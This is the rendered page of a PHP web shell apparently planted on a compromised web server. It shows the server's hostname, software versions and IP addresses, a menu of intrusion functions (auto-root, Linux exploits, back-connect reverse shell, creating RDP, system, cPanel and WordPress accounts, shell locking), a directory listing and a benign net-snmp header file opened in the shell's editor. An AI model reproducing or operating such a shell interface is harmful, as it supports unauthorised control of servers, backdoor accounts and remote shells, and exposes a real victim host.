Linux server.kiran-academy.com 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
Apache/2.4.57 (Unix) OpenSSL/1.0.2k-fips
: 194.233.91.196 | : 216.73.216.172
Cant Read [ /etc/named.conf ]
7.4.32
finalho
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
include /
net-snmp /
agent /
[ HOME SHELL ]
Name
Size
Permission
Action
util_funcs
[ DIR ]
drwxr-xr-x
agent_callbacks.h
801
B
-rw-r--r--
agent_handler.h
11.3
KB
-rw-r--r--
agent_index.h
1.49
KB
-rw-r--r--
agent_module_config.h
1.23
KB
-rw-r--r--
agent_read_config.h
1.19
KB
-rw-r--r--
agent_registry.h
5.86
KB
-rw-r--r--
agent_sysORTable.h
869
B
-rw-r--r--
agent_trap.h
2.37
KB
-rw-r--r--
all_helpers.h
1.19
KB
-rw-r--r--
auto_nlist.h
605
B
-rw-r--r--
baby_steps.h
3.4
KB
-rw-r--r--
bulk_to_next.h
563
B
-rw-r--r--
cache_handler.h
4.62
KB
-rw-r--r--
debug_handler.h
328
B
-rw-r--r--
ds_agent.h
3.77
KB
-rw-r--r--
instance.h
6.12
KB
-rw-r--r--
mfd.h
2.62
KB
-rw-r--r--
mib_module_config.h
34.89
KB
-rw-r--r--
mib_module_includes.h
14.06
KB
-rw-r--r--
mib_modules.h
428
B
-rw-r--r--
mode_end_call.h
871
B
-rw-r--r--
multiplexer.h
975
B
-rw-r--r--
net-snmp-agent-includes.h
756
B
-rw-r--r--
null.h
464
B
-rw-r--r--
old_api.h
1.39
KB
-rw-r--r--
read_only.h
540
B
-rw-r--r--
row_merge.h
1.32
KB
-rw-r--r--
scalar.h
783
B
-rw-r--r--
scalar_group.h
983
B
-rw-r--r--
serialize.h
600
B
-rw-r--r--
set_helper.h
542
B
-rw-r--r--
snmp_agent.h
11.89
KB
-rw-r--r--
snmp_get_statistic.h
836
B
-rw-r--r--
snmp_vars.h
4.58
KB
-rw-r--r--
stash_cache.h
1.4
KB
-rw-r--r--
stash_to_next.h
377
B
-rw-r--r--
struct.h
917
B
-rw-r--r--
sysORTable.h
2.4
KB
-rw-r--r--
table.h
7.34
KB
-rw-r--r--
table_array.h
5.33
KB
-rw-r--r--
table_container.h
3.96
KB
-rw-r--r--
table_data.h
5.47
KB
-rw-r--r--
table_dataset.h
7.73
KB
-rw-r--r--
table_iterator.h
6.76
KB
-rw-r--r--
table_tdata.h
6.54
KB
-rw-r--r--
util_funcs.h
3.24
KB
-rw-r--r--
var_struct.h
4.91
KB
-rw-r--r--
watcher.h
5.43
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : table_array.h
/* * table_array.h * $Id$ */ #ifndef _TABLE_ARRAY_HANDLER_H_ #define _TABLE_ARRAY_HANDLER_H_ #ifdef __cplusplus extern "C" { #endif /* * The table array helper is designed to simplify the task of * writing a table handler for the net-snmp agent when the data being * accessed is in an oid sorted form and must be accessed externally. * * Functionally, it is a specialized version of the more * generic table helper but easies the burden of GETNEXT processing by * retrieving the appropriate row for ead index through * function calls which should be supplied by the module that wishes * help. The module the table_array helps should, afterwards, * never be called for the case of "MODE_GETNEXT" and only for the GET * and SET related modes instead. */ #include <net-snmp/library/container.h> #include <net-snmp/agent/table.h> #define TABLE_ARRAY_NAME "table_array" /* * group_item is to allow us to keep a list of requests without * disrupting the actual netsnmp_request_info list. */ typedef struct netsnmp_request_group_item_s { netsnmp_request_info *ri; netsnmp_table_request_info *tri; struct netsnmp_request_group_item_s *next; } netsnmp_request_group_item; /* * structure to keep a list of requests for each unique index */ typedef struct netsnmp_request_group_s { /* * index for this row. points to someone else's memory, so * don't free it! */ netsnmp_index index; /* * container in which rows belong */ netsnmp_container *table; /* * actual old and new rows */ netsnmp_index *existing_row; netsnmp_index *undo_info; /* * flags */ char row_created; char row_deleted; char fill1; char fill2; /* * requests for this row */ netsnmp_request_group_item *list; int status; void *rg_void; } netsnmp_request_group; typedef int (Netsnmp_User_Row_Operation_c) (const void *lhs, const void *rhs); typedef int (Netsnmp_User_Row_Operation) (void *lhs, void *rhs); typedef int (Netsnmp_User_Get_Processor) (netsnmp_request_info *, netsnmp_index *, netsnmp_table_request_info *); typedef netsnmp_index *(UserRowMethod) (netsnmp_index *); typedef int (Netsnmp_User_Row_Action) (netsnmp_index *, netsnmp_index *, netsnmp_request_group *); typedef void (Netsnmp_User_Group_Method) (netsnmp_request_group *); /* * structure for array callbacks */ typedef struct netsnmp_table_array_callbacks_s { Netsnmp_User_Row_Operation *row_copy; Netsnmp_User_Row_Operation_c *row_compare; Netsnmp_User_Get_Processor *get_value; Netsnmp_User_Row_Action *can_activate; Netsnmp_User_Row_Action *activated; Netsnmp_User_Row_Action *can_deactivate; Netsnmp_User_Row_Action *deactivated; Netsnmp_User_Row_Action *can_delete; UserRowMethod *create_row; UserRowMethod *duplicate_row; UserRowMethod *delete_row; /* always returns NULL */ Netsnmp_User_Group_Method *set_reserve1; Netsnmp_User_Group_Method *set_reserve2; Netsnmp_User_Group_Method *set_action; Netsnmp_User_Group_Method *set_commit; Netsnmp_User_Group_Method *set_free; Netsnmp_User_Group_Method *set_undo; /** not callbacks, but this is a useful place for them... */ netsnmp_container* container; char can_set; } netsnmp_table_array_callbacks; int netsnmp_table_container_register(netsnmp_handler_registration *reginfo, netsnmp_table_registration_info *tabreq, netsnmp_table_array_callbacks *cb, netsnmp_container *container, int group_rows); int netsnmp_table_array_register(netsnmp_handler_registration *reginfo, netsnmp_table_registration_info *tabreq, netsnmp_table_array_callbacks *cb, netsnmp_container *container, int group_rows); netsnmp_container * netsnmp_extract_array_context(netsnmp_request_info *); Netsnmp_Node_Handler netsnmp_table_array_helper_handler; int netsnmp_table_array_check_row_status(netsnmp_table_array_callbacks *cb, netsnmp_request_group *ag, long *rs_new, long *rs_old); #ifdef __cplusplus } #endif #endif /* _TABLE_ARRAY_HANDLER_H_ */
Close